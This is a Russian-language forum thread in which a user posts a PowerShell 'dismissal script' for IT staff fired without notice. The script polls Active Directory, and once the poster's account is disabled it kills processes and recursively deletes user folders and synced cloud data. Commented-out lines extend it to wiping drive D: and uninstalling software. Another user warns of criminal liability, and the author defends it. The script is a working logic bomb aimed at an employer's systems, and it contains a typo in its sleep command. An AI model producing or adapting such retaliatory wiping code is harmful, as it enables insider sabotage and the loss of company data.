Скрипт увольнения

Insallah

Раздолбай
💰
🏆
📜
💎
#1
ИТ-шников иногда бывает увольняют, без уведомления…

code_language.powershell:
$ADU = "user-name-admin"

While ($true)
{
    if ((!(Get-ADUser $ADU).Enabled))
    {
    Write-Host "Учетная запись отключена" -ForegroundColor Red

    #Останавливаем запущенные процессы
        Stop-Process -name Skype
        Stop-Process -name YandexDisk
        Stop-Process -name notepad++
        Stop-Process -name browser

    #Удаляем папки и все содержимое
        Remove-Item –path "C:\Users\$ADU\AppData\Roaming\Yandex" –recurse
        Remove-Item –path "C:\Users\$ADU\AppData\Roaming\Notepad++" –recurse
        Remove-Item –path "C:\Users\$ADU\AppData\Roaming\Skype" –recurse
        Remove-Item –path "C:\Users\$ADU\AppData\Roaming\ICQ" –recurse
        Remove-Item –path "C:\Users\$ADU\AppData\Local\Notepad++" –recurse
        Remove-Item –path "C:\Users\$ADU\AppData\Local\Yandex" –recurse
    
    #Удаляем папки и все содержимое   
        Remove-Item –path "C:\Users\$ADU\YandexDisk" –recurse
    
    #Удаляем папки и все содержимое   
        Remove-Item –path "C:\Users\$ADU\Videos" –recurse
        Remove-Item –path "C:\Users\$ADU\Documents" –recurse
        Remove-Item –path "C:\Users\$ADU\Downloads" –recurse
        Remove-Item –path "C:\Users\$ADU\Pictures" –recurse
        Remove-Item –path "C:\Users\$ADU\Desktop" –recurse
        
    #Удаление с другого диска   
        #Remove-Item –path "D:\" –recurse

    #Пример удаление софта, который установлен
    #Заменяем название program1 (и т.д.) на название ПО
        #
            #$programs = @(“program1”, “program2”, “program3”)
            #foreach($program in $programs){
            #$app = Get-WmiObject -Class Win32_Product | Where-Object {
            #$_.Name -match “$program”
            #}
            #$app.Uninstall()
            #}
    }
    else
    {
        Write-Host "Учетная запись включена" -ForegroundColor Green
        StartSleep -s 3600
    }
}
 

Вукфе

Некто
📜
#2
Насколько я знаю. за такой прикол не кисло можно статью словить.да еще и не одну. да еще бонусом со штрафом!
Поэтому особо обидчивым советую подумать раз 10ть...
 

Insallah

Раздолбай
💰
🏆
📜
💎
#3
Статью за удаление личной переписки, личных документов, личного облака?
 

Вукфе

Некто
📜
#4
Статью за удаление личной переписки, личных документов, личного облака?
Личная переписка на работе? Обычно это рабочая переписка от лица компании и бекапы и т.д. На работе нет ни чего личного... и не дай бог какую важную инфу зацепишь...
 

Insallah

Раздолбай
💰
🏆
📜
💎
#5
В коде конкретно перечислены папки. ) Уйти забрав своё — это вполне безобидно. И куда безобиднее, чем уйти, положив базу и выставив её на аукцион анонимно, например.
 
Внимание! Эта тема устарела на 168 дней.
Тут обсуждать нечего, лучше создай новую тему. Конечно, если очень-очень нужно (например хочешь ответить на древний вопрос), то отвечай. Но помни: некропост — зло, а модератор не дремлет!
Сверху